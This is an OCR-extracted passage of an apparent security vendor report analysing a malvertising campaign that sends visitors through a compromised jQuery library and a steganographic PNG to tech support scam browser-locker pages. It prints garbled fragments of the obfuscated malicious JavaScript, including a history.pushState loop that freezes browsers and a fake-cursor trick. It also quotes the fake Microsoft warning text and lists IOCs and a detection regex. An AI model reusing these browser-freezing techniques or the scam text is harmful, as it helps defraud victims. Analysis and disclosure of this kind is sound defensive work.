WRECHHEST) I=("\KIZ\KE6\KIE\KRIO"); 151P[("\x66\x63\x6c"+ - mg+"M\KECAXEZ"+_mg+"h\KE5"+ mg+"\RE3NKTE") ] (("WXIL"+_mg+"
WHIZNHIE"), ("AERILT+_mag+""), ("WEIENRIZ™), ("AKIZNKI0"));_isIP[("NKEE\KEINKEC"+ IO+ \HEC"+ MO+UARSI"+ mg+"i\xT4N\xT9
\x6c\x65"]]=("\x23\;33\x36\x39"];_isIP[("\x66"+_mq+"\xﬁQ\xﬁc\xﬁc\xS4\x65\x”:\x“4"J](_VC ("\x32"), ("K31N\X35"+_mg+""))
_isIP[("\x66\x69\x6c"+_mq+"\xﬁc"+_mq+"\x53"+_mq+"\x?&\x?S\xﬁc\xﬁS"]]=("\xTZ"+_mq+"\x67\x64\x61"+_mq+"\x2:\x31"+_mq+"
AEI0OTH mg+™ixIZAHZc\HIZWKI0N K34\ K"+ mg+" N30\ HIC \ X3\ K2\ N3 T\KIG") » 1sIP[("\HEE"+ Mo+ \MED\HEC\HEC \ 54\ HES\KTE\KT4E") ]
[_vG, (Mx34m), ("\x31\x3T") ) rvar RqG=_y[("\x74\x6f\x44\x61\x’4"+ Hq+"¥x61\x55\x52"+_Hq+"\x4c"]](],dccuﬂeqt[{"\xﬁ’\xss
X745\ REc\HE5 \XEd\ RE5 \ xE\ RT4\ ®a2 S Mg+ xTe\R49\RE4") ] (_TgoP) [ ("xTOARE1A\RT2\ x5 \REe"+ ma+" i\ wT4 w4\ xef\ B4 "+ _mg+"
WHEET) ][ (METI"4 mg+UAREE"+ mo+"i\xed\REF\RTE\RE5\ R4\ REE"+ Hq+"\x63\x6c\x64"|]( _v)rif(document [ ("\x63WxT2"+_mg+"\x65\x61
WRT4Nx65\x45 \xEc \ k65 \xEd \ k65 "+ mg+"\xEe \xT4") ] { ("\xEF\xE1\KEe\xTE\RELINKTI") ) [ ("\xET\RE5\xT4"+ mg+"\x43\x6f\née\xT4
NWHEENETENXTA") ] { ("\xTT\x65\x62\x67\x6c")) ) {_EOg(_ucL);var _y=document[ ("\x67\x65\xT4\x45\n6c\n65\n6d\n65 \née
WKT4Nx42"+ mg+"\ XTI\ x49\x64") ] (_ucl) ;var _znri= y[("\xﬁ“\xss\x”4"+ Mg+ "\ K43\ xEE\REE\RTA\ KB\ RTENKTE™) ] ( ("\xTT\xRE5\x62
WHETHYXEC™) ) s var _sz5=_znri[(”\xs?"+_mq+"\x65\x”4\x45\x”3\x”4\x65\x6e\x”3\x69\x6f\x6e"]](_a[(—46+461]1, w

A number of websites, many of them news portals, load this widget and are therefore
unwittingly exposing their visitors, as the compromised library subsequently retrieves the
malicious PNG from api.imagecloudsedo[.Jcom before redirecting to the browlock page.
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It's highly likely that there are other compromises of third parties that haven’t been found yet,
although we suspect that the methods used would be similar to the ones we know about.

Examining the browser locker page

The following diagram depicts what needs to take place in order for victims to get redirected
to the browser locker page after several layers of validation.
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Ultimately, the previously analyzed function will arrive at the eval part of the code and return
code to launch the browlock.

top.location = '[browlock URL]';

This little bit of code redirects the current browser page to the new URL. It is, in fact, one of
the most common techniques for malicious ads to redirect users to scam pages. We believe
the threat actor is likely using the same trick for its other malvertising campaigns.
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€ Google Chrome X -+ C X

C' @& plectospondylousinfo/en/?search= &ilist=600000 Tr .

plectospondylous.info says

Dont close this window! Its important!

“ i

A Stop code: Google Chrome Detect Malware | Error Report

Security system has detected the threatening attempt to gain access to your bank logins and related data, -
but this dangerous connection was blocked with Firewall and further data leak was prevented.

We sirongly recommend you to perferm temporary block of all of your accounts, and take some necessary
security measures

Despite the timely blocking of the connection, there is still a serious threat of private data stealth.

Ploase, don t wait to respond, every minute is important!

There is possibility that virus already hurt your disks or destroyed and stole its data.

It is reason for checking current system security and verifying its stability.

Do not spend your time and immediately call us or contact our service center support team.

Contact Microsoft Support:
+1 {833) M.

We are waiting for your rapid responce to help you,
Please contact our administration to solve this issue.

Call Help Desk:
+1 {833)

o Type here to search

This browser locker is clean and contained as it obfuscates its source code and has few
external dependencies, such as libraries. We can see that it uses the evil cursor, which is a
flaw that allows criminals to create a fake cursor that tricks users into clicking on the wrong
area when they are trying to close a browlock.
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https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/01/browlock_.png
https://bugs.chromium.org/p/chromium/issues/detail?id=880863

<!DOCTYPE html>

<html>

<head=>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>={TITLE}</title>

</head>

<body oncontextmenu="return false"

|style:“background—color: #CE3426; font-family: Arial; font-size: 13px; margin: @; z-index: @; cursor: url{&quot;data:imag
1VBORWOKGOAAAANSUREUGAAATAAAACACAMAAADES JHEAAAABGOBTUEAALGPC/ xBQAAAAFZUkdCAKTOHOKAAAAPUEXURQAAAATCAQAAAP/ / /SWV1X1CG)
&quot;) 128 128, crosshair;"=>

<div id="zezfhhy"></div> %
<
script type = "text/javascript" =
function _R(_1iY) {
_1iY = _1iY + 28;
return _1iY;
¥
_R(28);
var _sjU = self;
var _Pp0 = function(_S) {
S = _S["uxT3xTO\RBCAKEIXTA"] (" ");
S = _S[™ux6Ba\x6T" + e + "\x69\x6e"](_e);
S = _sjU[™wuxB1\xT4\x6F\x62"](_S);
S = _sJU["\xB4\XE5\X63\EF\KEA\KBE\XE5\X52" + _e + "\x49\x4IX6T\x6d\xTO\KET\ 1B \KB5 \KER\KTA ] (_S);
_§ = _sjU["\x75\x6e" + _e + "\B5A\xTI\XEIxE61\XTENEE"](_S);
return _5;
i
var _e = "_tT";
try {
ZZ()
} catch (_owP) {
e = nm
i
(function{) {
var _j = document[("\x71" + _e + "\x75\XE5\XT2AXTIxEIKEE\KEC" + _e + "\MEE\xE3I\KTA" + _e + "Wx6F\xT2")](("\H6CAxED\x6e\xb
CJLMNaTAARTINKRTE" + e + "WxB5")] = ("Wx69\x6d\xB1" + _e + MBT\XEE" + _e + "Wk2F" + e + "\TB\x2d" + _e + "\xE9\x63\xET
_JOO"\T2\xB5" + _e + "\x6c")] = ("\XTIHEB\KET" + _e + "\MT2" + _e + "\uTAHEIWXTE" + _e + "\xT4\x2O\xE6OWKE3\KET\xEe");
_JL("xBBAKT2AxB5AKE6" )] = [("MeEBARTAXTNATOXT I3 22T xB4" + _e + "uTEAE3\xBDAXBNKTE\KE3" + _e + "\xBb\xET\xE6T"

document [ (" x67 A6\ T4 A5 W BB\ B W65\ xBe \xT4" + e + "x73'x42" + e + "\x78" + e + "\ b G167\ xde \xG1vxEd" + e

While Chrome and Edge users can somewhat get rid of the offending page, on Firefox, this
is a true browlock, causing the browser to eventually crash.
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* Options X

Browlock on Firefox version 72.0:1 (64-bit)

¥ General Search Results

‘m Home Firefox Updates
Keep Firefox up to date for the best performance, stability, and security.
Q Search

& Privacy & Security L+ Firefox is up to date Check for updates

Version 72.0.1 (64-bit) What's new Show Update History...

s Sync
Allow Firefox to

@) Automatically install updates (recommended)

Check for updates but let you choose to install them

@ This setting will apply to all Windows accounts and Firefox profiles using this installation of
Firefox.

v | Use a background service to install updates

v | Automatically update search engines

#  Extensions & Themes

@ Firefox Support

w

« ¢ @ ) Firefox  about:preferences#searchResults P d m o @

The code used to freeze the browser has been duplicated enough times to render the
browser useless. In the image below, we see the same function with slightly different
parameters.
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}:; setTimeout (function() {
setTimeont (fuanction() {

var P = ("\xIZ3");
for (var _hPc = (-72 + 72): hPc < {3333;5 + 32)r _hPoc++) |
P = _F + hPc[{"\ X724\ xE6E\X53\ %74 2h\xE9" + dnhGx + "‘xi—‘xi’"}]{}
hlstory[{" KTO™ + _dhGx + " T 31x751xc-" + thx + "\HE3\xT4\xEe1l\xT4\xEe5"
J1((=72 + 72), (=72 + 72), _E)
1
b, Oxed)
}, Cxedy; setTimeount (function() {
setTimeont (fanction() {
var _TWuai = ("Wx23"):
for {(var _hPc = (-72 + 72); _hPc < (955525 + 73); _hPcH+) {
_TWui = TWui + hPc[({"'\x74\xef \x53\x74\x72\x€9" + dhGx + ™ xc—"xu’"}]{ir

history[ ("'x70" + dhGx + "'x75'=x73'\x62" + dhGx + "\ %53\ k74 \ %61\ xT4\ K65
Y14(-72 + 72y, (-T2 + 72), _TIWui)
1
}, OxEE)
}, Cxeg); setTimeount (function() {
setTimeont (function() {

var _g = ("\mI3");
for (var hPc = (-72 + 72} hPc < {:::--- + 63} _hPFc+t) |
_g=_g+t hPc[{" KT\ X6\ x53YxT 63" + dhGx + " eeh XE’"}]{ir

history[ ("\=70" + _dhGx + "hWxT5Y
Y1{{-72 + 72), (-72 + 72), _a)

8™ + thx + "W\ xE3\mTA\mEl\xT4\xEe5"

1
b5+ 39))
}, (62 + 22)); setTimeont (function() {
setTimeont (function() {

var s = ("\xIZ");
for {(var _hPc = (-72 + 72); _hPc < (LOCOOOO + 4); hPcHt) {
2= _=2+ hPc[("" XT2\ X6\ x53, T4\ xT2\XE9" + _dnGx + "“xﬁ;”xﬁ““il{Ir
hlstory[{" XTO" + _dhGx + "WxTE\XTI\REE™ + thx + "W HEI\HTA\HELWKT4\KE5"
Y14(-72 + 72), (-72 + 72), _s)
}
}, OxE3)
. 0=xed): setTimeont (function() {
setTimeont (function() {
var eRbv = ("\x23");
for (var hPc = (-72 + 72); _hPc < (2959511 + S4); hPc++)
_eRbv = eRbv + hPc[({"\x74\xef\x! THA\HT2A\xED" + dhGx + "\xE= \xET")](}:

history[ (" \x70" + _dhGx + ""x75\xT3'\xeE8" + _dhGx + "\=53'\xT74'\xel\xT4 \xe5"
Y14(-72 + 72), (=72 + 72), _cBhbwv)
}
If we deobfuscate any of the functions, we recognize the history.pushState() method, which
we reported back in 2016, and which is still not handled well by most browsers. This bug
actually came to Mozilla’s attention three years ago, and more recently when
someone reported the same 404Browlock:
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https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/01/pushstate.png
https://developer.mozilla.org/en-US/docs/Web/API/History/pushState
https://www.malwarebytes.com/blog/cybercrime/social-engineering-cybercrime/2016/11/tech-support-scammers-abuse-bug-in-html5-feature-to-freeze-computers/
https://bugzilla.mozilla.org/show_bug.cgi?id=1314912
https://bugzilla.mozilla.org/show_bug.cgi?id=1562245

E Mike Kaply [:mkaply]
¥

Description = 7 months ago
Attached file CLICKING ON THIS WILL HANG FIREFOX (MAC) OR YOUR MACHINE (WINDOWS) — Details
An ad opened this page:
https://booklaho.xyz/en [?search=%3FQ%BEW%AB87%25%EB%DF%C0%1A7%CF%BFIV:92%ABY%DD%00%7B%D6%Fo &list=600000
Which hung my machine.

Looking at things afterwords, | had hundreds of history entries for variations of that URL

Browser lockers can be difficult to fix because they often use code that is otherwise perfectly
legitimate. Browser vendors often have to juggle with performance and compatibility issues
at the same time.

Handing victims over to tech support scammers

The ultimate goal for browser lockers is to get people to call for assistance to resolve (non-
existent) computer problems. This is handled by third parties via fraudulent call centers. The
threat actor behind the traffic redirection and browlock will get paid for each successful lead.

To confuse victims, the fake Microsoft agent will tell you to run some commands simply
intended to open up a browser window.

A Stop code: Google Chrome Detect Malware | Error Report

Security system has detected the threatening attempt to gain access to your bank logins and related data, «
but this dangerous connection was blocked with Firewall and further data leak was prevented.

We strongly recommend you to perform temporary block of all of your accounts, and take some necessary
security measures.

Despite the timely blocking of the connection, there is still a serious threat of private data stealth,

Please, don t wait to respond, every minute is important!

There is possibility that virus already hurt your disks or destroyed and stole its data.

It is reason for checking current system security and verifying its stability.

Do not spend your time and immediately call us or contact our service center support team.

w | Microsoft Support;

F).-

i Typethe name of a program, folder, document, or aiting for your rapid responce to help you.
Internet resource, and Windows will apen it for you. iontact our administration to solve this issue.

Qpen: | hh h www.micrasoft.com

Call Help Desk:

Cancel Browse... +1 (833) =

O Type here to search

From there, they will ask you to download and run a remote assistance program that will
enable them to take control of your computer. A few minutes later, they will use their favorite
tool, notepad, to start drafting an invoice:
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https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/01/bug_report.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/01/hh.png

File Edit Farmat View Help
BLOCK INFECTION

REMOVE FOREIGN CONNECTION

ACTIVATE SECURITY

64 BIT (SSL) Secure Sockets Layer Microsoft Security for 1 year - 195

128 BIT (SSL) Secure Sockets Layer Microsoft Security for 3 YEAR - 295-5@=245

128 BIT (SSL) Secure Sockets Layer Microsoft Security for 5 YEAR - 345

SECURITY & WARRANTY

Google Chrome - Google f.‘.hror‘.".el

SIHPPORT - ~
P Google Chrome - Google Chro...

19, Col 83 100¢
| Hyper-V - Data Exe

Find what:

[ Search selected category only

e here to search 0

While the machine is still supposedly infected, they will simply browse to a site to take the
payment for 1 year, 3 year, or 5 year plans costing $195, $245, and $345, respectively.

Where do we go from here?

Given the level of sophistication involved in this campaign, we can expect that the threat
actor has diversified their traffic to have some kind of redundancy.

We hope that our efforts to expose this scheme will help others to identify the browlock
redirections within their networks. Despite our repeated attempts to report these abuses,
they have not been fixed. We remain available to OVH for closer collaboration to shut down
this campaign.

For best protection against this and other browlocks, we recommend using our free browser
extension, Browser Guard. Not only does it benefit from our domain and IP blacklist, but it
can also detect and block browlocks and other tech support scams via signatureless
techniques.

Acknowledgements
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https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/01/payment.png
https://www.malwarebytes.com/browserguard/

We would like to thank Confiant for sharing additional data regarding the other cases of the
malicious script (_ WOOf variant).

Thanks to @prsecurity_ for pointing out a quicker way to retrieve the browlock URL by RC4
decrypting the PNG data using the unique key found within the script.

Indicators of Compromise (IOCs)

There are simply too many |IOCs to put here, so we've uploaded the browlock domains and
IP addresses as a STIX2 file onto our GitHub page. It includes data going back to June 2019
based on indicators we collected by conducting retro hunting. Please note that this is only a
partial account of this campaign based on the data we could collect.

Compromised library
widgets.digitalmediacommunications[.]com/chosen/chosen.jquery.min.js

Steganographic redirector

api.imagecloudsedo[.]com
141.98.81[.]198

Regex to identify the browlock URLs

/en/?search=w?(%[w_-~.]1{1,4}){10,20}&1ist=([0-9]00000|null)$
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https://www.confiant.com/
https://twitter.com/prsecurity_
https://github.com/MBThreatIntel/TSS/blob/master/woof.stix2

